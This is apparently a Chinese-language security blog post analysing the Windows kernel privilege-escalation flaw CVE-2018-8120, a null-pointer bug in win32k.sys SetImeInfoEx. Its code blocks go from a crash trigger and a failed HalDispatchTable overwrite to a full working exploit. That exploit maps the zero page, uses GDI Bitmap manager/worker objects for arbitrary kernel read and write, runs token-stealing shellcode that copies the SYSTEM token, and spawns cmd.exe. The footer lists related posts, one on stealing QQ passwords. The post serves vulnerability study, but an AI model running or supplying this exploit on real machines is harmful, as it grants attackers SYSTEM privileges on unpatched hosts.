<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    Windows內核提權漏洞CVE-2018-8120分析

    VSole2023-01-11 10:26:27

    可在其中找受影響的版本復現,在受影響版本的系統中找到win32k.sys導入IDA。

    配合api文檔查函數

    https://learn.microsoft.com/zh-cn/windows/win32/api/winuser/nf-winuser-getprocesswindowstation

    windbg 雙機調試

    .reload/f win32k.sys,可以找到win32k.pdb文件,導入IDA后便能查看函數名。

    漏洞函數位于win32k.sys的SetImeInfoEx()函數,該函數在使用一個內核對象的字段之前并沒有進行是否為空的判斷,當該值為空時,函數直接讀取零地址內存。如果在當前進程環境中沒有映射零頁面,該函數將觸發頁面錯誤異常,導致系統藍屏發生。

    查看下tagWINDOWSTATION

    dt win32k!tagWINDOWSTATION

    spklList對象的結構為:

    漏洞觸發驗證

    查看SSDT表

    dd KeServiceDescriptorTable

    dds Address L11C 顯示地址里面值指向的地址. 以4個字節顯示。

    dd nt!KeServiceDescriptorTableShadow

    dds bf999b80 L0000029b

    函數的索引號:(bf999bb4 - bf999b80)/4 = 0x34/0x4 = 0xD = 13

    直接使用PChunter。

    #include#include#include DWORD gSyscalIndex = 0x1226;_declspec(naked)void NtUserSetImeInfoEx(PVOID argv1) {    _asm {        mov esi, argv1;        mov eax, gSyscalIndex; //系統調用服務號        mov edx, 0x7FFE0300;   //ntdll.KiFastSystemCall快速系統調用        call DWORD ptr[edx];        ret 4;    }}int main() {    HWINSTA hSta = CreateWindowStation(0, 0, READ_CONTROL, 0);    SetProcessWindowStation(hSta);    char ime[0x800];    NtUserSetImeInfoEx((PVOID)&ime);    return 0;}
    

    windbg捕獲到的正是SetImeInfoEx()中針對pWindowStation->spklList字段進行內存訪問的代碼。

    已知漏洞產生的原因是零地址內存訪問違例,如果在漏洞函數運行的進程中,零地址處的內存分頁完成映射,則函數將繼續執行。下面繼續看看函數如果繼續運行,會發生什么情況。

    漏洞產生函數后續執行過程中會執行內存拷貝,且拷貝源來自于參數2,屬于用戶可控內容。如果拷貝目標v4可控,則可以實現任意內存地址寫入(且漏洞函數運行在內核權限,內核空間與用戶空間內存均有權限讀寫)。至此,如果可以實現任意內存地址寫入,則可以通過覆蓋系統服務函數指針的方式,實現任意代碼執行。

    HEVD中的空指針解引用用例,使用NtAllocateVirtualMemory映射零地址分頁的內存。

    https://blog.csdn.net/qq_38025365/article/details/106176472?spm=1001.2014.3001.5502

    HEVD中的任意地址寫用例,覆蓋ntoskrnl!HalDispatchTable表中第二項的hal!HaliQuerySystemInformation()函數指針,NtQueryIntervalProfile()函數在運行過程中會從HalDispatchTable表中調用該函數。使得用戶程序在調用系統函數NtQueryIntervalProfile()的時候,執行由應用程序設定的ShellCode。

    https://bbs.pediy.com/thread-225176.htm

    #include#include DWORD gSyscalIndex = 0x1226;_declspec(naked)void NtUserSetImeInfoEx(PVOID argv1) {    _asm {        mov esi, argv1;        mov eax, gSyscalIndex; //系統調用服務號        mov edx, 0x7FFE0300;   //ntdll.KiFastSystemCall快速系統調用        call DWORD ptr[edx];        ret 4;    }}typedef NTSTATUS(WINAPI* My_NtAllocateVirtualMemory)(    IN HANDLE ProcessHandle,    IN OUT PVOID* BaseAddress,    IN ULONG ZeroBits,    IN OUT PULONG RegionSize,    IN ULONG AllocationType,    IN ULONG Protect    ); My_NtAllocateVirtualMemory NtAllocateVirtualMemory = NULL; int main() {    HWINSTA hSta = CreateWindowStation(0, 0, READ_CONTROL, 0);    SetProcessWindowStation(hSta);    char ime[0x800];    *(FARPROC*)&NtAllocateVirtualMemory = GetProcAddress(        GetModuleHandleW(L"ntdll"),        "NtAllocateVirtualMemory");     if (NtAllocateVirtualMemory == NULL)    {        printf("[+]Failed to get function NtAllocateVirtualMemory!!!");        system("pause");        return;    }     PVOID Zero_addr = (PVOID)0x100;    SIZE_T RegionSize = 0x1000;     printf("[+]Started to alloc zero page...");    if (!NT_SUCCESS(NtAllocateVirtualMemory(        INVALID_HANDLE_VALUE,        &Zero_addr,        0,        &RegionSize,        MEM_COMMIT | MEM_RESERVE,        PAGE_READWRITE)) || Zero_addr != NULL)    {        printf("[+]Failed to alloc zero page!");        system("pause");        return;     }     printf("[+]Success to alloc zero page...");    printf("申請到的地址是 0x%p", Zero_addr);     PBYTE pt = (PBYTE)Zero_addr;    *(PDWORD)(pt + 0x14) = (DWORD)0x12345678;    *(PDWORD)(ime) = (DWORD)0x12345678;     *(PDWORD)(pt + 0x2C) = (DWORD)0x83d2b3fc;    //HalDispatchTable+0x4     NtUserSetImeInfoEx((PVOID)&ime);    return 0;}
    

    上訴方法利用失敗,函數指針目標地址,無法通過漏洞函數的第二個判斷

    用戶態程序使用CreateBitmap函數創建得到的Bitmap對象的成員結構中,有存在于內核空間中的成員指針變量pvScan0,而該指針變量可以在用戶態下,通過調用GetBitmaps以及SetBitmaps方法,對pvScan0指向的內存地址進行讀取和寫入。

    Bitmap GDI技術參考:

    https://www.anquanke.com/post/id/247764#h2-0

    https://xz.aliyun.com/t/8667

    // 創建BitmapHBITMAP CreateBitmap( int    nWidth, int    nHeight, UINT    nPlanes, UINT    nBitCount, const VOID *lpBits); // 將bitmap bits拷貝到指定緩沖區LONG GetBitmapBits( HBITMAP hbit, LONG  cb, LPVOID lpvBits);  // 設置bitmap的bitsLONG SetBitmapBits( HBITMAP  hbm, DWORD   cb, const VOID *pvBits);
    

    CreateBitMap創建的結構SURFACE OBJECT。

    當程序調用了CreateBitmap方法后,程序的進程環境控制塊(PEB)中的GdiSharedHandleTable表便增加了一個索引,該索引對象的結構為:

    typedef struct _GDICELL{    LPVOID pKernelAddress;    USHORT wProcessId;    USHORT wCount;    USHORT wUpper;    USHORT wType;    LPVOID pUserAddress;} GDICELL;
    

    pKernelAddress泄露了Bitmap對象的內核地址,再看pKernelAddress指向的數據結構:

    typedefstruct {BASEOBJECT BaseObject; //0x00SURFOBJ SurOBJ; //0x18}  typedef struct _BASEOBJECT {    HANDLE    hHmgr; 0x04    PVOID     pEntry; 0x08    LONG      cExclusiveLock; 0x0d    PW32THREAD Tid;0x10} BASEOBJECT, *POBJ;  typedef struct _SURFOBJ {    DHSURF dhsurf;       0x04    HSURF  hsurf;         0x08    DHPDEV dhpdev;        0x09    HDEV   hdev;          0x0a    SIZEL  sizlBitmap;    0x0e    ULONG  cjBits;        0x12    PVOID  pvBits;        0x16    PVOID  pvScan0;       0x20    LONG   lDelta;        0x24    ULONG  iUniq;        0x28    ULONG  iBitmapFormat; 0x2c    USHORT iType;        0x2e    USHORT fjBitmap;      0x30} SURFOBJ
    

    gdiCell_Addr = PEB.GdiSharedHandleObejct + (hMgr & 0xffff) * sizeof(GDICELL)pvScan0_Offset = pKernelAddress + 0x10 + 0x1cpvScan0 = *( PEB.GdiSharedHandleObejct + (hMgr & 0xffff) * sizeof(GDICELL)) + 0x2C;
    

    在32位系統下,通過GDICELL->pKernelAddress + 0x30(在64位系統下是0x50,具體計算成員變量指針所占字節),即可得到指向pvScan0指針的偏移量。

    (1) 創建2個bitmaps(Manager/Worker)。

    (2) 使用CreateBitMap返回的handle獲取pvScan0的地址。

    (3) 使用任意地址寫漏洞將Worker的pvScan0地址寫入Manager的PvScan0(作為Value)。

    (4) 對Manager使用SetBitmapBits ,也就是改寫Woker的pvScan0的Value為讀/寫的任意地址。

    (5) 對Worker使用GetBitmapBits/SetBitmapBits,以對第四步設置的地址任意讀寫!

    #include#include#include#include #define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0)typedef NTSTATUS(WINAPI* NtQueryIntervalProfile_t)(    IN ULONG ProfileSource,    OUT PULONG Interval    ); typedef NTSTATUS(WINAPI* My_NtAllocateVirtualMemory)(    IN HANDLE ProcessHandle,    IN OUT PVOID* BaseAddress,    IN ULONG ZeroBits,    IN OUT PULONG RegionSize,    IN ULONG AllocationType,    IN ULONG Protect    );My_NtAllocateVirtualMemory NtAllocateVirtualMemory = NULL;  //申請0頁內存void getZeroMemory() {    PVOID    Zero_addr = (PVOID)1;    SIZE_T    RegionSize = 0x1000;     *(FARPROC*)&NtAllocateVirtualMemory = GetProcAddress(        GetModuleHandleW(L"ntdll"),        "NtAllocateVirtualMemory");     if (NtAllocateVirtualMemory == NULL)    {        printf("[+]Failed to get function NtAllocateVirtualMemory!!!");        system("pause");    }    if (!NT_SUCCESS(NtAllocateVirtualMemory(        INVALID_HANDLE_VALUE,        &Zero_addr,        0,        &RegionSize,        MEM_COMMIT | MEM_RESERVE,        PAGE_READWRITE)) || Zero_addr != NULL)    {        printf("[+]Failed to alloc zero page!");        system("pause");    }    printf("[+]Success to alloc zero page...");}__declspec(naked) VOID ShellCode(){    _asm    {        pushad        mov eax, fs: [124h]        // 找到當前線程的_KTHREAD結構        mov eax, [eax + 0x50]   // 找到_EPROCESS結構        mov ecx, eax        mov edx, 4                // edx = system PID(4)         // 循環是為了獲取system的_EPROCESS        find_sys_pid :        mov eax, [eax + 0xb8]    // 找到進程活動鏈表        sub eax, 0xb8            // 鏈表遍歷        cmp[eax + 0xb4], edx    // 根據PID判斷是否為SYSTEM        jnz find_sys_pid         // 替換Token        mov edx, [eax + 0xf8]        mov[ecx + 0xf8], edx        popad        xor eax, eax        ret     }}static VOID CreateCmd(){    STARTUPINFO si = { sizeof(si) };    PROCESS_INFORMATION pi = { 0 };    si.dwFlags = STARTF_USESHOWWINDOW;    si.wShowWindow = SW_SHOW;    WCHAR wzFilePath[MAX_PATH] = { L"cmd.exe" };    BOOL bReturn = CreateProcessW(NULL, wzFilePath, NULL, NULL, FALSE, CREATE_NEW_CONSOLE, NULL, NULL, (LPSTARTUPINFOW)&si, &pi);    if (bReturn) CloseHandle(pi.hThread), CloseHandle(pi.hProcess);} //獲取ntkrnlpa.exe 在 kernel mode 中的基地址LPVOID NtkrnlpaBase(){    LPVOID lpImageBase[1024];    DWORD lpcbNeeded;    CHAR lpfileName[1024];     EnumDeviceDrivers(lpImageBase, sizeof(lpImageBase), &lpcbNeeded);     for (int i = 0; i < 1024; i++)    {        GetDeviceDriverBaseNameA(lpImageBase[i], lpfileName, 48);         if (!strcmp(lpfileName, "ntkrnlpa.exe"))        {            printf("[+]success to get %s", lpfileName);            return lpImageBase[i];        }    }    return NULL;} DWORD32 GetHalOffset_4(){    // 獲取ntkrnlpa.exe運行時基址    PVOID pNtkrnlpaBase = NtkrnlpaBase();    printf("[+]ntkrnlpa base address is 0x%p", pNtkrnlpaBase);     // 獲取用戶態加載ntkrnlpa.exe的地址    HMODULE hUserSpaceBase = LoadLibrary("ntkrnlpa.exe");     // 獲取用戶態中HalDispatchTable的地址    PVOID pUserSpaceAddress = GetProcAddress(hUserSpaceBase, "HalDispatchTable");     // 由ntkrnlpa.exe運行時基址加上HalDispatchTable偏移量,得到HalDispatchTable在內核空間中的地址,加上0x4偏移量    DWORD32 hal_4 = (DWORD32)pNtkrnlpaBase + ((DWORD32)pUserSpaceAddress - (DWORD32)hUserSpaceBase) + 0x4;    printf("[+]HalDispatchTable+0x4 is 0x%p", hal_4);    return (DWORD32)hal_4;}  //NtUserSetImeInfoEx()系統服務函數未導出,需要自己在用戶進程中調用該系統服務函數,以執行漏洞函數SetImeInfoEx()。//其中SyscallIndex的計算,根據系統ShadowSSDT表導出序號計算。DWORD gSyscall = 0x1226;__declspec(naked) void NtUserSetImeInfoEx(PVOID tmp){    _asm    {         mov esi, tmp;        mov eax, gSyscall; //系統調用符號        mov edx, 0x7FFE0300; // ntdll.KiFastSystemCall快速系統調用        call dword ptr[edx];        ret 4;    }}DWORD getpeb(){    //在NT內核中,FS段為TEB,TEB偏移0x30處為PEB    DWORD p = (DWORD)__readfsdword(0x18);    p = *(DWORD*)((char*)p + 0x30);    return p;}DWORD gTableOffset = 0x094;DWORD getgdi(){    return *(DWORD*)(getpeb() + gTableOffset);}DWORD gtable;typedef struct{    LPVOID pKernelAddress;    USHORT wProcessId;    USHORT wCount;    USHORT wUpper;    USHORT wType;    LPVOID pUserAddress;} GDICELL;PVOID getpvscan0(HANDLE h){    if (!gtable)        gtable = getgdi();    DWORD p = (gtable + LOWORD(h) * sizeof(GDICELL)) & 0x00000000ffffffff;    GDICELL* c = (GDICELL*)p;    return (char*)c->pKernelAddress + 0x30; } int main(){    //1. 創建bitmap對象    unsigned int bbuf[0x60] = { 0x90 };    HANDLE gManger = CreateBitmap(0x60, 1, 1, 32, bbuf);    HANDLE gWorker = CreateBitmap(0x60, 1, 1, 32, bbuf);    //2. 使用句柄查找GDICELL,計算pvScan0地址    PVOID mpv = getpvscan0(gManger);    PVOID wpv = getpvscan0(gWorker);    printf("[+] Get manager at 0x%p,worker at 0x%p", mpv, wpv);    //使用漏洞將Worker的pvScan0偏移地址寫入Manager的pvScan0值     // 新建一個新的窗口,新建的WindowStation對象其偏移0x14位置的spklList字段的值默認是零    HWINSTA hSta = CreateWindowStation(        0,              //LPCSTR                lpwinsta        0,              //DWORD                 dwFlags        READ_CONTROL,   //ACCESS_MASK           dwDesiredAccess        0               //LPSECURITY_ATTRIBUTES lpsa    );     // 和窗口當前進程關聯起來    SetProcessWindowStation(hSta);     char buf[0x200];    RtlSecureZeroMemory(&buf, 0x200);    PVOID* p = (PVOID*)&buf;    p[0] = (PVOID)wpv;    DWORD* pp = (DWORD*)&p[1];    pp[0] = 0x180;    pp[1] = 0x1d95;    pp[2] = 6;    pp[3] = 0x10000;    pp[5] = 0x4800200;    //獲取0頁內存    getZeroMemory();    *(DWORD*)(0x2C) = (DWORD)(mpv);    *(DWORD*)(0x14) = (DWORD)(wpv);    // WindowStation->spklList字段為0,函數繼續執行將觸發漏洞    NtUserSetImeInfoEx((PVOID)&buf);    PVOID pOrg = 0;    DWORD haladdr = GetHalOffset_4();    PVOID oaddr = (PVOID)haladdr;    PVOID sc = &ShellCode;     SetBitmapBits((HBITMAP)gManger, sizeof(PVOID), &oaddr); //利用manager設置worker的可修改地址為hal函數    printf("[+]要覆蓋的目標地址 0x%x", oaddr);    GetBitmapBits((HBITMAP)gWorker, sizeof(PVOID), &pOrg);//獲取可修改的地址    SetBitmapBits((HBITMAP)gWorker, sizeof(PVOID), &sc);//設置地址為shellcode    printf("[+]覆蓋完畢,準備執行Shellcode");     //觸發shellcode    NtQueryIntervalProfile_t NtQueryIntervalProfile = (NtQueryIntervalProfile_t)GetProcAddress(LoadLibraryA("ntdll.dll"), "NtQueryIntervalProfile");    printf("[+]NtQueryIntervalProfile address is 0x%x", NtQueryIntervalProfile);    DWORD interVal = 0;    NtQueryIntervalProfile(0x1337, &interVal);    //收尾    SetBitmapBits((HBITMAP)gWorker, sizeof(PVOID), &pOrg);    CreateCmd();    return 0;}
    

    不同版本的exp還沒完全看懂。

    其中alphalab中win32版本的exp提出來,有些地方對不上,感覺很奇怪。

    printfdword
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    羊城杯 re wp
    2021-10-07 16:01:00
    題的質量還是可以,有些題因為遇到一些問題,沒解出來。花時間來寫wp一是鞏固一些知識點,還有讓更多的人可以互相學習。
    HEVD學習筆記——UAF
    2021-11-28 16:07:36
    這里選擇x86的驅動來進行黑盒測試學習內核漏洞,作為學習筆記記錄下來。
    EXP編寫學習之繞過GS
    2023-02-20 09:58:16
    棧中的守護天使 :GSGS原理向棧內壓入一個隨機的DWORD值,這個隨機數被稱為canary ,IDA稱為 Security Cookie。Security Cookie 放入 ebp前,并且data節中存放一個 Security Cookie的副本。棧中發生溢出時,Security Cookie首先被淹沒,之后才是ebp和返回地址。函數返回之前,會添加一個Security Cookie驗證操作,稱為Security Check。檢測到溢出時,系統將進入異常處理流程,函數不會正常返回,ret也不會被執行。函數使用無保護的關鍵字標記。緩沖區不是8字節類型 且 大小不大于4個字節。可以為函數強制啟用GS。
    0x01 進程遍歷因為進程是在隨時進行變動的所以我們需要獲取一張快照1.1 CreateToolhelp32
    前言在PE文件中,存在iat導入表,記錄了PE文件使用的API以及相關的dll模塊。可以看到使用了MessageBox這個API殺軟會對導入表進行查殺,如果發現存在惡意的API,比如VirtualAlloc,CreateThread等,就會認為文件是一個惡意文件。自定義API函數FARPROC GetProcAddress;定義:typedef int ();HMODULE LoadLibraryA; // 成功返回句柄 失敗返回NULL. 這里GetModuleHandle和LoadLibrary作用是一樣的,獲取dll文件。HWND hWnd, LPCTSTR lpText, LPCTSTR lpCaption, UINT uType );printf; pMessageBox MyMessageBox = GetProcAddress; MyMessageBox; return 0;}. 程序可以正常運行:查看其導入表:User32.dll和MessageBox都不存在。實戰測試用創建進程的方式加載shellcode。
    最近粗淺的研究了一下Windows應用層相關調試API和對應調試原理,以達到實現反附加的功能。本文內容主要參考《軟件調試》和網絡上相關優秀文章,并且主要側重在應用層調試附加方面,關于內核層面因為水平有限本文沒有詳細展現。
    可在其中找受影響的版本復現,在受影響版本的系統中找到win32k.sys導入IDA。漏洞函數位于win32k.sys的SetImeInfoEx()函數,該函數在使用一個內核對象的字段之前并沒有進行是否為空的判斷,當該值為空時,函數直接讀取零地址內存。如果在當前進程環境中沒有映射零頁面,該函數將觸發頁面錯誤異常,導致系統藍屏發生。tagWINDOWSTATIONspklList對象的結構為:漏洞觸發驗證查看SSDT表dd KeServiceDescriptorTabledds Address L11C 顯示地址里面值指向的地址. 以4個字節顯示。
    全局鉤子注入-獲取QQ密碼實現 全局鉤子注入-獲取QQ密碼實現 水一篇????? SetWindowsHookExA 將應用程序定義的掛鉤過程安裝到掛鉤鏈中。您將安裝一個掛鉤程序來監視系統中某些類型的事件。這些事件與特定線程或與調用線程相同的桌面中的所有線程相關聯。
    一篇靜態免殺的文章
    2021安洵杯PWN WP詳解
    2021-12-29 16:41:08
    做了2021安洵杯線上賽題目,總體來說題目有簡單有難的,難易程度合適,這次就做了pwn,把四道pwn題思路總結一下,重點是沒幾個人做出來的最后一道pwnsky,賽后做了復現。
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类